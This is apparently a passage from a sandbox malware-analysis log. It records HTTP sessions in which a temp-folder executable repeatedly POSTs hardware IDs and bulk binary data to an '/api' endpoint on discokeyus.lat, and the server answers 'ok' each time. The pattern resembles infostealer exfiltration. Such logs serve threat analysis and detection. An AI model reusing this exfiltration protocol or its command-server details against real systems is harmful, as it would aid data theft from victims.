2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 37 45 34 52 72 73 53 78 4a 68 5a 72 77 33 56 36 74 57 77 6f 43 77 48 31 44 68 39 42 51 6c 6c 61 74 32 36 6d 75 72 44 6e 6b 36 45 75 44 49 44 36 46 75 4b 32 78 2b 70 46 4a 32 36 6c 5a 43 4a 4f 68 62 76 4e 58 6b 58 54 33 45 6e 7a 76 57 61 34 49 66 47 42 59 69 2b 4f 78 54 6d 57 38 4b 52 56 71 34 49 31 2b 2f 53 74 71 38 6c 41 64 6b 31 66 67 73 50 59 6d 62 51 76 5a 4c 6f 78 35 45 46 7a 66 59 7a 48 71 4d 4b 69 72 56 55 75 43 33 54 36 63 66 32 74 57 59 64 6e 54 78 32 54 46 63 75 5a 39 36 30 6c 65 4c 4c 6c 6b 47 52 74 6a 38 50 37 46 50 46 6c 56 79 76 42 74 58 77 30 37 61 68 49 41 50 56 50 33 51 65 44 6d 45 70 6d 66 57 61 39 49 66 47 42 62 4b 67 4d 77 48 73 45 4f 4f 53 52 4b 38 47 33 75 6e 5a 39 72 56 6d 48 5a 30 38 64 6b 78 58 4c 6d 54 62 75 4a 6e 2b 79 35 35 46 Data Ascii: 7E4RrsSxJhZrw3V6tWwoCwH1Dh9BQllat26murDnk6EuDID6FuK2x+pFJ26lZCJOhbvNXkXT3EnzvWa4IfGBYi+OxTmW8KRVq4I1+/Stq8lAdk1fgsPYmbQvZLox5EFzfYzHqMKirVUuC3T6cf2tWYdnTx2TFcuZ960leLLlkGRtj8P7FPFlVyvBtXw07ahIAPVP3QeDmEpmfWa9IfGBbKgMwHsEOOSRK8G3unZ9rVmHZ08dkxXLmTbuJn+y55F
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 62 6f 58 4d 2b 55 55 36 51 4c 30 2f 44 55 76 4b 59 70 41 39 6f 77 61 41 63 64 5a 57 48 55 75 35 58 6c 78 35 42 46 67 72 73 30 52 71 30 53 7a 59 30 66 39 6b 7a 34 77 63 4b 67 6f 47 6f 6e 79 69 31 77 43 77 4e 34 59 74 61 32 69 2b 48 58 33 67 76 44 70 7a 4d 58 6f 77 72 63 68 55 69 70 45 35 50 37 6c 62 47 6d 61 46 79 64 4d 48 55 43 41 6d 56 74 33 72 43 56 37 38 4b 62 54 34 2b 36 4e 51 37 71 57 4d 2b 51 57 61 51 50 30 2b 33 55 75 71 34 68 43 74 52 37 4e 45 77 49 64 69 6d 50 39 61 76 38 77 49 5a 49 6b 2f 51 47 42 66 4a 44 33 35 68 50 71 45 37 79 34 64 6d 31 72 79 38 55 6e 53 51 30 46 55 39 70 5a 5a 66 74 33 65 7a 44 6b 6b 61 45 75 44 73 4c 37 46 58 42 6d 6c 57 67 48 74 4c 6e 33 62 71 69 4a 52 62 58 4d 57 67 46 42 6d 4e 6e 33 36 65 65 72 49 6e 65 51 70 76 32 62 Data Ascii: boXM+UU6QL0/DUvKYpA9owaAcdZWHUu5Xlx5BFgrs0Rq0SzY0f9kz4wcKgoGonyi1wCwN4Yta2i+HX3gvDpzMXowrchUipE5P7lbGmaFydMHUCAmVt3rCV78KbT4+6NQ7qWM+QWaQP0+3Uuq4hCtR7NEwIdimP9av8wIZIk/QGBfJD35hPqE7y4dm1ry8UnSQ0FU9pZZft3ezDkkaEuDsL7FXBmlWgHtLn3bqiJRbXMWgFBmNn36eerIneQpv2b
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 49 70 45 6d 6a 48 4e 37 6e 30 6f 69 55 4a 67 50 4a 50 48 51 4b 44 79 34 6e 6c 37 72 64 74 50 37 65 44 63 4f 4a 65 6b 62 37 45 70 4c 56 61 71 30 43 30 2b 58 44 70 2b 63 4c 45 38 73 78 59 55 34 70 61 58 6a 65 6f 35 44 2b 68 39 41 46 68 66 5a 73 56 71 30 53 7a 6f 51 66 39 6c 79 50 75 59 44 6c 2f 58 68 57 77 6e 56 6a 54 42 6b 75 4d 59 58 37 33 66 36 48 78 67 58 45 74 53 59 55 35 56 48 63 6c 68 69 51 4d 76 33 70 77 37 65 6e 49 77 6a 6a 42 57 38 50 41 57 42 75 77 61 54 64 6f 6f 65 52 42 64 75 50 64 45 36 6a 62 59 54 56 52 2b 35 55 6e 64 66 57 75 4b 51 76 45 73 78 32 57 67 63 5a 62 32 54 63 75 64 2f 74 79 6f 35 43 77 2f 68 30 41 4b 4d 4b 6d 74 73 66 71 68 32 64 75 6f 58 6b 38 58 31 58 69 6d 73 6f 45 30 46 33 4b 63 48 31 78 62 36 4a 33 6c 66 44 37 6e 52 42 34 45 Data Ascii: IpEmjHN7n0oiUJgPJPHQKDy4nl7rdtP7eDcOJekb7EpLVaq0C0+XDp+cLE8sxYU4paXjeo5D+h9AFhfZsVq0SzoQf9lyPuYDl/XhWwnVjTBkuMYX73f6HxgXEtSYU5VHclhiQMv3pw7enIwjjBW8PAWBuwaTdooeRBduPdE6jbYTVR+5UndfWuKQvEsx2WgcZb2Tcud/tyo5Cw/h0AKMKmtsfqh2duoXk8X1XimsoE0F3KcH1xb6J3lfD7nRB4E
2024-12-20 10:12:51 UTC	1369	IN	Data Raw: 76 77 2f 64 36 5a 58 34 36 69 35 45 68 57 6b 30 54 41 74 2f 4b 59 2f 6c 7a 37 65 53 7a 52 4c 54 35 43 74 49 2b 68 4c 63 31 51 66 38 51 70 33 77 6c 65 37 71 62 77 66 50 4b 58 77 50 47 57 30 75 36 59 75 37 37 38 43 59 52 6f 32 68 4a 55 54 4d 55 63 47 5a 55 36 6b 61 34 39 7a 41 74 61 51 6d 41 38 73 71 4f 6b 4a 50 59 53 6d 50 6a 4e 33 39 7a 5a 6b 4a 79 2f 6f 6c 46 65 31 5a 33 4a 49 66 6b 55 4b 64 2b 70 58 75 36 68 30 48 30 7a 56 39 47 68 34 6a 54 39 53 79 6d 2b 2f 4a 69 56 54 44 2b 48 51 41 6f 77 71 59 32 78 2b 71 48 5a 32 36 68 65 54 78 66 56 65 4b 61 79 67 54 51 58 63 70 77 66 58 46 76 34 6e 65 56 38 50 75 64 45 48 74 58 38 75 57 55 61 30 65 7a 2b 54 57 6f 4b 6c 76 4f 75 4d 65 64 77 45 4b 59 47 37 70 69 37 7a 6d 31 35 4e 4b 68 49 67 4b 4d 66 4a 56 32 74 64 Data Ascii: vw/d6ZX46i5EhWk0TAt/KY/lz7eSzRLT5CtI+hLc1Qf8Qp3wle7qbwfPKXwPGW0u6Yu778CYRo2hJUTMUcGZU6ka49zAtaQmA8sqOkJPYSmPjN39zZkJy/olFe1Z3JIfkUKd+pXu6h0H0zV9Gh4jT9Sym+/JiVTD+HQAowqY2x+qHZ26heTxfVeKaygTQXcpwfXFv4neV8PudEHtX8uWUa0ez+TWoKlvOuMedwEKYG7pi7zm15NKhIgKMfJV2td

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49896	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:54 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ABBJLNZWEAZY3Y17Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1288 Host: discokeyus.lat
2024-12-20 10:12:54 UTC	1288	OUT	Data Raw: 2d 2d 41 42 42 4a 4c 4e 5a 57 45 41 5a 59 33 59 31 37 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 42 42 4a 4c 4e 5a 57 45 41 5a 59 33 59 31 37 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 42 42 4a 4c 4e 5a 57 45 41 5a 59 33 59 31 37 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --ABBJLNZWEAZY3Y17ZContent-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--ABBJLNZWEAZY3Y17ZContent-Disposition: form-data; name="pid"1--ABBJLNZWEAZY3Y17ZContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-20 10:12:54 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2ektpl6g9hnvl6ahvh137i365p; expires=Tue, 15 Apr 2025 03:59:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gTfwpHNOYNOVAQX3p0huqTEqybD9au%2BFJsJ2IKcMfEBfwUarpqbd7j7yyjR6ER%2FpcLE3X8txzkXd54YPSvf382pNy5cQJjaomkqD0iIbvCn71MyJM6sKrS2QLZ1%2FiMZ3wA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb5009051a0b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=2015&rtt_var=759&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=2202&delivery_rate=1438423&cwnd=249&unsent_bytes=0&cid=1be23ffc38fb6cba&ts=780&x=0"
2024-12-20 10:12:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49901	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:55 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CQRH5IWAP6JVPD3L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18151 Host: discokeyus.lat
2024-12-20 10:12:55 UTC	15331	OUT	Data Raw: 2d 2d 43 51 52 48 35 49 57 41 50 36 4a 56 50 44 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 43 51 52 48 35 49 57 41 50 36 4a 56 50 44 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 51 52 48 35 49 57 41 50 36 4a 56 50 44 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 43 51 Data Ascii: --CQRH5IWAP6JVPD3LContent-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--CQRH5IWAP6JVPD3LContent-Disposition: form-data; name="pid"2--CQRH5IWAP6JVPD3LContent-Disposition: form-data; name="lid"PsFKDg--pablo--CQ
2024-12-20 10:12:55 UTC	2820	OUT	Data Raw: 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc Data Ascii: h/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q
2024-12-20 10:12:56 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j61qssq5e50tvv7pgns49uh7rn; expires=Tue, 15 Apr 2025 03:59:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vOMBq92WHYbPNxnRTtiQ6JvlYfi9vNd8OYmqkRa1V8bthnsWcOTF55%2BMT0ESdHNOBczAObxvDvgs10DbHoDNf9IVwjZcg8FvZRwzC3znrJCQ6nLq%2BIg%2B%2FgmOEYxvvomUNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb56be8b0f8f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1564&min_rtt=1561&rtt_var=592&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2832&recv_bytes=19109&delivery_rate=1837633&cwnd=232&unsent_bytes=0&cid=ba2f18e20243071e&ts=956&x=0"
2024-12-20 10:12:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49914	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:58 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=P9HOHWKT30OFR48N6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8778 Host: discokeyus.lat
2024-12-20 10:12:58 UTC	8778	OUT	Data Raw: 2d 2d 50 39 48 4f 48 57 4b 54 33 30 4f 46 52 34 38 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 50 39 48 4f 48 57 4b 54 33 30 4f 46 52 34 38 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 39 48 4f 48 57 4b 54 33 30 4f 46 52 34 38 4e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --P9HOHWKT30OFR48N6Content-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--P9HOHWKT30OFR48N6Content-Disposition: form-data; name="pid"2--P9HOHWKT30OFR48N6Content-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-20 10:12:59 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rmecddp8tcpo5cc6rol7gs3mrk; expires=Tue, 15 Apr 2025 03:59:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBBvrPfphGgwoNYyDAuupD5aGBGzIxLevfI%2FpeL%2FVlY%2BkkUaREOaiq%2FT3Z%2FhVZKbs1hVKkZkSqctOqgoIeC7CIiN11xw8%2FSnzGgFMNvt7Kb80yF0vC1MQ9D0z9%2B67UwOkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb69efae43a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1768&min_rtt=1742&rtt_var=672&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2832&recv_bytes=9714&delivery_rate=1676234&cwnd=186&unsent_bytes=0&cid=b29318cf59b6d084&ts=799&x=0"
2024-12-20 10:12:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:12:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49915	172.67.197.170	443	7932	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:12:59 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4O9Y2YXH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20477 Host: discokeyus.lat
2024-12-20 10:12:59 UTC	15331	OUT	Data Raw: 2d 2d 34 4f 39 59 32 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 4f 39 59 32 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4f 39 59 32 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 4f 39 59 32 59 58 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --4O9Y2YXHContent-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--4O9Y2YXHContent-Disposition: form-data; name="pid"1--4O9Y2YXHContent-Disposition: form-data; name="lid"PsFKDg--pablo--4O9Y2YXHContent-Disposit
2024-12-20 10:12:59 UTC	5146	OUT	Data Raw: 92 ad 93 8b f5 e0 ec 43 c3 a0 ec 73 c3 71 29 f2 a0 ef 28 5e 9a a2 e1 e2 cd 55 6f 57 11 23 a2 78 95 dd cf ae 58 57 1c 74 86 91 06 fc a8 52 e4 2d 9a bc d8 af 6b 80 ac cb 9b bd a1 fe 9a f9 13 ea dc 76 85 c0 07 c4 5f d6 a3 83 4f 3c 65 4b f6 ce c2 11 75 ce d3 e8 03 26 47 5a 63 1e 30 39 32 a0 19 2b c1 02 28 2c 0f 18 dc 3f f9 ee 5d c4 74 9c c7 09 48 e3 3e 8c 12 50 32 91 4c b5 5f 89 53 16 30 69 5a dd ef a1 64 fa b4 40 b8 54 6b c1 34 7c 3a 2a b9 8a 28 f3 43 04 5d 81 db 62 9e 55 ba 0a 33 be 02 f0 fd 7e 29 6c 7b 66 79 ac a2 6e 78 32 68 c0 de a8 35 c5 3a 8f 39 f1 4e fd d7 3e b9 05 4f 4a 65 61 79 7a 07 6a 29 37 5a 8a 36 3f 9c a3 dd 90 bf 98 e9 3b d3 9d d0 6e dd 83 5b b5 80 6a 85 d1 54 63 d9 76 3e 86 3f dd 0a 7b c8 ad 33 6a ba 80 ca 2d c8 94 c1 e5 b2 66 05 0d 83 e7 6f Data Ascii: Csq)(^UoW#xXWtR-kv_O<eKu&GZc092+(,?]tH>P2L_S0iZd@Tk4\|:*(C]bU3~)l{fynx2h5:9N>OJeayzj)7Z6?;n[jTcv>?{3j-fo
2024-12-20 10:13:00 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a2nhoc8qmgjohcm1aacptj46db; expires=Tue, 15 Apr 2025 03:59:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qYWa6w0pWz5oiC0GKKK84mMMrlR6H47Q3EjsNa02TqHW0LWqmjTS1Twt1tTG37UgcQfMTO5JQFHCK%2FiIs1lpG5e0M0bqKqKgolqYHBcHGJFCJsViaPi%2FLQcguy8DH1LLLg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb6e59a58c71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&min_rtt=1800&rtt_var=681&sent=18&recv=25&lost=0&retrans=0&sent_bytes=2832&recv_bytes=21427&delivery_rate=1598248&cwnd=193&unsent_bytes=0&cid=2fc51f4402682aab&ts=1768&x=0"
2024-12-20 10:13:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 10:13:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49930	172.67.197.170	443	5828	C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 10:13:02 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SGPG4L5K0SLI63EPO83 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20443 Host: discokeyus.lat
2024-12-20 10:13:02 UTC	15331	OUT	Data Raw: 2d 2d 53 47 50 47 34 4c 35 4b 30 53 4c 49 36 33 45 50 4f 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 45 46 34 33 36 34 41 41 33 35 37 35 34 41 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 53 47 50 47 34 4c 35 4b 30 53 4c 49 36 33 45 50 4f 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 47 50 47 34 4c 35 4b 30 53 4c 49 36 33 45 50 4f 38 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --SGPG4L5K0SLI63EPO83Content-Disposition: form-data; name="hwid"23EF4364AA35754AAC8923850305D13E--SGPG4L5K0SLI63EPO83Content-Disposition: form-data; name="pid"3--SGPG4L5K0SLI63EPO83Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-20 10:13:02 UTC	5112	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-12-20 10:13:03 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 10:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pgbmrqlq5rknmhnraa3f9amvv4; expires=Tue, 15 Apr 2025 03:59:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mFmbto7N2Fs8O058PyP5bxhsar6mfcDPhZasIzf2RV0wmcqG5zbdIj1y8iAdsNCq39daT%2FFzPEF38xdlL8tCxnoe71NKwArB2X9DMyK6Uo6t%2Bw6OeewbwsRO5qGpMWJjfA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4edb839ff142f7-EWR 